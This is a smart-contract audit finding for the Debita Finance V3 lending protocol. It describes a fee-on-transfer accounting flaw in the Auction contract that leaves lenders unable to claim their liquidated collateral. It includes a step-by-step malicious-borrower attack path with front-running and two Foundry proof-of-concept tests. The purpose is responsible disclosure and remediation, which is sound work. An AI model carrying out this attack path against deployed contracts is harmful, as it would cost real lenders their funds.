Brisk Cobalt Skunk

High

# Transferring FoT tokens is not supported in `Auction` leading to loss of funds for lenders due to insufficient funds for `claimCollateralAsLender()` call

### Summary

`TaxTokensReceipt` is a contract allowing the use of fee-on-transfer tokens in Debita protocol. Tax token receipt NFT can be used as collateral for a loan that is later liquidated. If the loan has more than one lender, the receipt has to be sold on an auction to withdraw a portion of the underlying collateral token. Because the underlying is fee-on-transfer, `DebitaV3Loan` contract will receive less funds from the NFT buyer than the expected `soldAmount` used in `handleAuctionSell()`:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L329-L332

If the loan has one lend order, `claimCollateralAsLender()` will always revert.

If the loan has multiple lend orders, the loss incurred from the FoT token fee will be unfairly distributed over last lender(s) calling `claimCollateralAsLender()` as the collateral which is fee% less will eventually run out.

### Root Cause

The `buyNFT()` function on `Auction` contract does not support transfers of fee-on-transfer `sellingToken`s:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/auctions/Auction.sol#L128-L133
It *assumes* that the amount sent will be equal to the amount received by the loan contract.


### Internal pre-conditions

- loan with one or more lend orders and TaxTokenReceipt as NFT collateral is created
- borrower does not repay the loan 


### External pre-conditions

--

### Attack Path

When we consider the scenario with multiple lenders a malicious borrower can exploit this issue leading to loss of lender's funds by avoiding paying interest on a loan and griefing by locking their collateral in the loan contract:
1. Find a lend order accepting TaxTokenReceipt as collateral.
2. Create a borrow order with `availableAmount` slightly bigger than the lend order's max amount. 
3. Create a fake lend order utilizing the rest of the available collateral, which will be larger than the fee taken on the transfer 
4. Match all these offers and omit to repay the loan.
5. Frontrun the real lender with a `claimCollateralAsLender()` call from his fake lend order making the real lender's calls revert.

### Impact

Always leads to loss of funds worth the provided principle for either some of the lenders or the only lender:

1. One lend order
`claimCollateralAsLender()` call will always revert due to insufficient FoT token balance - breaking the liquidation mechanism and leading to loss of lender's funds.

2. Multiple lend orderss
The loss of funds caused by insufficient funds reverts will be unfairly distributed over the last lender(s) calling `claimCollateralAsLender()`.


### PoC

Due to an unrelated root cause the `TaxTokensReceipt` cannot be used at all without reverting, to make the PoC work for **this** finding comment out this code:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/Non-Fungible-Receipts/TaxTokensReceipts/TaxTokensReceipt.sol#L98-L105
Details of this issue are in separate reports, but in short `TaxTokensReceipt` lacks support for transfers from `Auction` contract to the NFT buyer.

<details>
<summary>One lender</summary>
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {veNFTAerodrome} from "@contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/Receipt-veNFT.sol";

import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/veNFTAerodrome.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../../interfaces/getDynamicData.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";

// import ERC20
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaChainlink} from "@contracts/oracles/DebitaChainlink.sol";
import {DebitaPyth} from "@contracts/oracles/DebitaPyth.sol";
import {TaxTokensReceipts} from "@contracts/Non-Fungible-Receipts/TaxTokensReceipts/TaxTokensReceipt.sol";
import {DutchAuction_veNFT} from "@contracts/auctions/Auction.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract TestTaxTokensReceipts is Test {
    DBOFactory public dbFactory;
    DLOFactory public dlFactory;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public aggregator;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;
    DebitaV3Loan public DebitaV3LoanContract;
    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    // simulating a taxable token --> address(token)
    // taxable token has to extent TaxTokensReceipts interface

    address lender = 0x1000000000000000000000000000000000000001;
    address borrower = 0x2000000000000000000000000000000000000002;
    FeeOnTransfer token;
    ERC20Mock principle;

    TaxTokensReceipts public receiptContract;
    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        dbFactory = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        dlFactory = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();

        token = new FeeOnTransfer();
        principle = new ERC20Mock();
        DebitaV3Loan loanInstance = new DebitaV3Loan();
  
        aggregator = new DebitaV3Aggregator(
            address(dlFactory),
            address(dbFactory),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );
receiptContract = new TaxTokensReceipts(
            address(token),
            address(dbFactory),
            address(dlFactory),
            address(aggregator)
        );
         ownershipsContract.setDebitaContract(
            address(aggregator)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(aggregator)
        );
        dlFactory.setAggregatorContract(
            address(aggregator)
        );
        dbFactory.setAggregatorContract(
            address(aggregator)
        );

        incentivesContract.setAggregatorContract(
            address(aggregator)
        );
        aggregator.setValidNFTCollateral(
            address(receiptContract),
            true
        );
      
        token.exemptFromTax(address(receiptContract));
    
        deal(address(token), borrower, 100e18, true);
    }

    error ERC20InsufficientBalance(address,uint,uint);

    function test_taxTokensUnsupported() public {
        vm.startPrank(borrower);
        token.approve(address(receiptContract), 1000e18);
        uint tokenID = receiptContract.deposit(100e18);
        assertEq(receiptContract.balanceOf(borrower), 1);
        createBorrowOrder(
            1e18,
            4000,
            tokenID,
            864000,
            1,
            address(principle),
            address(receiptContract),
            borrower
        );
        vm.stopPrank();

        vm.startPrank(lender);
        createLendOrder(
            1e18,
            4000,
            864000,
            864000,
            100e18,
            address(principle),
            address(receiptContract),
            lender
        );
        vm.stopPrank();

        vm.startPrank(borrower);
        matchOffers();
        vm.stopPrank();

        vm.warp(block.timestamp + 12 days);
        vm.prank(lender); // lender liquidates
        DebitaV3LoanContract.createAuctionForCollateral(0);
            DutchAuction_veNFT auction = DutchAuction_veNFT(
            DebitaV3LoanContract.getAuctionData().auctionAddress
        );
        DutchAuction_veNFT.dutchAuction_INFO memory auctionData = auction
            .getAuctionData();

        address nftBuyer = 0x5C235931376b21341fA00d8A606e498e1059eCc0;

        deal(address(token), nftBuyer, 100e18);
        vm.startPrank(nftBuyer);

        FeeOnTransfer(address(token)).approve(address(auction), 100e18);
        auction.buyNFT();
        vm.stopPrank();

        vm.prank(lender); // lender claims and gets 90% of the collateral = 90e18 - auction fee 2% => 88.2e18
        address proxy = 0x82DcE515b19ca6C2b03060d7DA1a9670fc6EE074;
        uint availableBalance = 88.2e18;
        uint expectedValue = 98e18;
        vm.expectRevert(abi.encodeWithSelector(ERC20InsufficientBalance.selector, proxy,availableBalance, expectedValue));
        DebitaV3LoanContract.claimCollateralAsLender(0);

    }

    function createLendOrder(
        uint _ratio,
        uint maxInterest,
        uint minTime,
        uint maxTime,
        uint amountPrinciple,
        address principle,
        address collateral,
        address lender
    ) internal returns (address) {
        deal(principle, lender, amountPrinciple, false);
        IERC20(principle).approve(address(dlFactory), 1000e18);
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = _ratio;
        oraclesPrinciples[0] = address(0x0);
        acceptedCollaterals[0] = collateral;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        address lendOrderAddress = dlFactory.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            maxInterest,
            maxTime,
            minTime,
            acceptedCollaterals,
            principle,
            oraclesPrinciples,
            ratio,
            address(0x0),
            amountPrinciple
        );
        LendOrder = DLOImplementation(lendOrderAddress);
        return lendOrderAddress;
    }
    function createBorrowOrder(
        uint _ratio,
        uint maxInterest,
        uint tokenId,
        uint time,
        uint amountCollateral,
        address principle,
        address collateral,
        address borrower
    ) internal {
        IERC721(collateral).approve(address(dbFactory), tokenId);
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = _ratio;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = principle;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        address borrowOrderAddress = dbFactory.createBorrowOrder(
            oraclesActivated,
            ltvs,
            maxInterest,
            time,
            acceptedPrinciples,
            collateral,
            true,
            tokenId,
            oraclesPrinciples,
            ratio,
            address(0x0),
            amountCollateral
        );
        BorrowOrder = DBOImplementation(borrowOrderAddress);
    }

    function matchOffers() public {
        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);

        lendOrders[0] = address(LendOrder);
        lendAmountPerOrder[0] = 100e18;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = address(principle);

        // 0.1e18 --> 1e18 collateral

        address loan = aggregator.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(BorrowOrder),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3LoanContract = DebitaV3Loan(loan);
    }
}


contract FeeOnTransfer is ERC20{
    uint feeBp = 1000; // 10%
    mapping (address=>bool) public isNotTaxed;

      constructor() ERC20("ERC20FoT", "E20FoT") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) external {
        _burn(account, amount);
    }

    function exemptFromTax(address toExempt) external {
        isNotTaxed[toExempt] = true;
    }

    function transferFrom(address from, address to, uint256 value) public override returns (bool) {
        address spender = _msgSender();
        uint amount = value * (10000-feeBp) / 10000; 
        if (isNotTaxed[to]) {
            amount = value;
        }
        super._spendAllowance(from, spender, amount);
        super._transfer(from, to, amount);
        return true;
    }
}

</details>

<details>
<summary>Two Lenders</summary>
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {veNFTAerodrome} from "@contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/Receipt-veNFT.sol";

import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/veNFTAerodrome.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../../interfaces/getDynamicData.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";

// import ERC20
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaChainlink} from "@contracts/oracles/DebitaChainlink.sol";
import {DebitaPyth} from "@contracts/oracles/DebitaPyth.sol";
import {TaxTokensReceipts} from "@contracts/Non-Fungible-Receipts/TaxTokensReceipts/TaxTokensReceipt.sol";
import {DutchAuction_veNFT} from "@contracts/auctions/Auction.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract TestTaxTokensReceipts is Test {
    DBOFactory public dbFactory;
    DLOFactory public dlFactory;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public aggregator;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;
    DebitaV3Loan public DebitaV3LoanContract;
    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    // simulating a taxable token --> address(token)
    // taxable token has to extend TaxTokensReceipts interface

    address lender1 = address(0x1000000000000000000000000000000000000001);
    address lender2 = address(0x2000000000000000000000000000000000000002);
    address borrower = address(0x3000000000000000000000000000000000000003);

    FeeOnTransfer token; // FoT token used as collateral
    ERC20Mock principleToken; 

    TaxTokensReceipts public receiptContract;
    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        dbFactory = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        dlFactory = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();

        token = new FeeOnTransfer(); // FoT token
        principleToken = new ERC20Mock(); 

        DebitaV3Loan loanInstance = new DebitaV3Loan();

        aggregator = new DebitaV3Aggregator(
            address(dlFactory),
            address(dbFactory),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );
        receiptContract = new TaxTokensReceipts(
            address(token),
            address(dbFactory),
            address(dlFactory),
            address(aggregator)
        );
        ownershipsContract.setDebitaContract(
            address(aggregator)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(aggregator)
        );
        dlFactory.setAggregatorContract(
            address(aggregator)
        );
        dbFactory.setAggregatorContract(
            address(aggregator)
        );

        incentivesContract.setAggregatorContract(
            address(aggregator)
        );
        aggregator.setValidNFTCollateral(
            address(receiptContract),
            true
        );

        token.setExempt(address(receiptContract), true);

        // Mint tokens to borrower and lenders
        token.mint(borrower, 100e18); // FoT token for borrower (collateral)
        principleToken.mint(lender1, 90e18); 
        principleToken.mint(lender2, 10e18); 
    }

    error ERC20InsufficientBalance(address,uint,uint);


    function test_taxTokensUnsupported() public {
        // borrower deposits FoT token as collateral
        vm.startPrank(borrower);
        token.approve(address(receiptContract), 100e18);
        uint tokenID = receiptContract.deposit(100e18);
        assertEq(receiptContract.balanceOf(borrower), 1);
        createBorrowOrder(
            1e18, // ratio
            4000, // maxInterest
            tokenID,
            864000, // time
            1, // amountCollateral (ignored for NFTs)
            address(principleToken), 
            address(receiptContract),
            borrower
        );
        vm.stopPrank();

        // Lender 1 creates a lend order
        vm.startPrank(lender1);
        principleToken.approve(address(dlFactory), 90e18); 
        address lendOrder1 = createLendOrder(
            1e18,
            4000,
            864000,
            864000,
            90e18,
            address(principleToken), 
            address(receiptContract),
            lender1
        );
        vm.stopPrank();

        // Lender 2 creates a lend order
        vm.startPrank(lender2);
        principleToken.approve(address(dlFactory), 10e18); 
        address lendOrder2 = createLendOrder(
            1e18,
            4000,
            864000,
            864000,
            10e18,
            address(principleToken), 
            address(receiptContract),
            lender2
        );
        vm.stopPrank();

        // Match offers with both lenders
        matchOffers(lendOrder1, lendOrder2);

        // Simulate liquidation
        vm.warp(block.timestamp + 12 days);
        vm.prank(borrower);
        DebitaV3LoanContract.createAuctionForCollateral(0);

        DutchAuction_veNFT auction = DutchAuction_veNFT(
            DebitaV3LoanContract.getAuctionData().auctionAddress
        );

        address nftborrower = address(0x5C235931376b21341fA00d8A606e498e1059eCc0);
        token.mint(nftborrower, 100e18);

        vm.startPrank(nftborrower);
        token.approve(address(auction), 100e18);
        auction.buyNFT();
        vm.stopPrank();

        // lender1 wants to claim 90e18 
        vm.prank(lender1);
        DebitaV3LoanContract.claimCollateralAsLender(0); 
        // they receive 88.2e18 due to 2% auction fee
        assertEq(token.balanceOf(lender1), 88.2e18);

address proxy = 0x82DcE515b19ca6C2b03060d7DA1a9670fc6EE074;
        uint availableBalance = 0;
        uint expectedValue = 9.8e18; // 10e18 - 2% auction fee
        vm.expectRevert(abi.encodeWithSelector(ERC20InsufficientBalance.selector, proxy,availableBalance, expectedValue));
        vm.prank(lender2);
        DebitaV3LoanContract.claimCollateralAsLender(1); 
    }

    function createLendOrder(
        uint _ratio,
        uint maxInterest,
        uint minTime,
        uint maxTime,
        uint amountPrinciple,
        address principle,
        address collateral,
        address lender
    ) internal returns (address) {
        // IERC20(principle).approve(address(dlFactory), 1000e18); // Approval moved to test function
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = _ratio;
        oraclesPrinciples[0] = address(0x0);
        acceptedCollaterals[0] = collateral;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        address lendOrderAddress = dlFactory.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            maxInterest,
            maxTime,
            minTime,
            acceptedCollaterals,
            principle,
            oraclesPrinciples,
            ratio,
            address(0x0),
            amountPrinciple
        );
        return lendOrderAddress;
    }
    function createBorrowOrder(
        uint _ratio,
        uint maxInterest,
        uint tokenId,
        uint time,
        uint amountCollateral,
        address principle,
        address collateral,
        address borrower
    ) internal {
        IERC721(collateral).approve(address(dbFactory), tokenId);
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = _ratio;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = principle;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        address borrowOrderAddress = dbFactory.createBorrowOrder(
            oraclesActivated,
            ltvs,
            maxInterest,
            time,
            acceptedPrinciples,
            collateral,
            true,
            tokenId,
            oraclesPrinciples,
            ratio,
            address(0x0),
            amountCollateral
        );
        BorrowOrder = DBOImplementation(borrowOrderAddress);
    }

    function matchOffers(address lendOrder1, address lendOrder2) public {
        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(2);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(2);
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData.getDynamicUintArray(2);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData.getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData.getDynamicUintArray(2);
        uint[] memory indexPrinciple_LendOrder = allDynamicData.getDynamicUintArray(2);

        lendOrders[0] = lendOrder1;
        lendOrders[1] = lendOrder2;
        lendAmountPerOrder[0] = 90e18;
        lendAmountPerOrder[1] = 10e18;
        porcentageOfRatioPerLendOrder[0] = 10000;
        porcentageOfRatioPerLendOrder[1] = 10000;
        principles[0] = address(principleToken); 
        indexForPrinciple_BorrowOrder[0] = 0;
        indexForCollateral_LendOrder[0] = 0;
        indexForCollateral_LendOrder[1] = 0;
        indexPrinciple_LendOrder[0] = 0;
        indexPrinciple_LendOrder[1] = 0;

        // 0.1e18 --> 1e18 collateral

        address loan = aggregator.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(BorrowOrder),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3LoanContract = DebitaV3Loan(loan);
    }
}


contract FeeOnTransfer is ERC20 {
    uint public feeBp = 1000; // 10%
    mapping (address => bool) public isExempt;

    constructor() ERC20("ERC20FoT", "E20FoT") {}

    function mint(address account, uint256 amount) external {
        _mint(account, amount);
    }

    function burn(address account, uint256 amount) external {
        _burn(account, amount);
    }

    function setExempt(address addr, bool status) external {
        isExempt[addr] = status;
    }


    function transferFrom(address from, address to, uint256 value) public override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);

        uint fee = 0;
        if (!isExempt[to]) {
            fee = value * feeBp / 10000;
        }
        uint amountAfterFee = value - fee;
        _transfer(from, to, amountAfterFee);
        if (fee > 0) {
            _burn(from, fee); // Burn the fee
        }
        return true;
    }
}
</details>

Run both PoCs with the same command:
```shell
forge test --fork-url https://mainnet.base.org --fork-block-number 21151256  --mt test_taxTokensUnsupported  -vvvvv
```

As we can see the call to `claimCollateralAsLender()` reverted with ERC20InsufficientBalance for both cases.
comment out

### Mitigation

To ensure that the lenders will receive the correct amount of collateral after liquidation, consider adding checks in `buyNFT()` validating that the buyer will cover the fee on transfer OR the `Auction` is exempt from tax like `TaxTokenReceipt` is supposed to be. Alternatively if by design lenders should cover this cost, validate the `amount` passed to `handleAuctionSell()` against the loan's underlying token balance.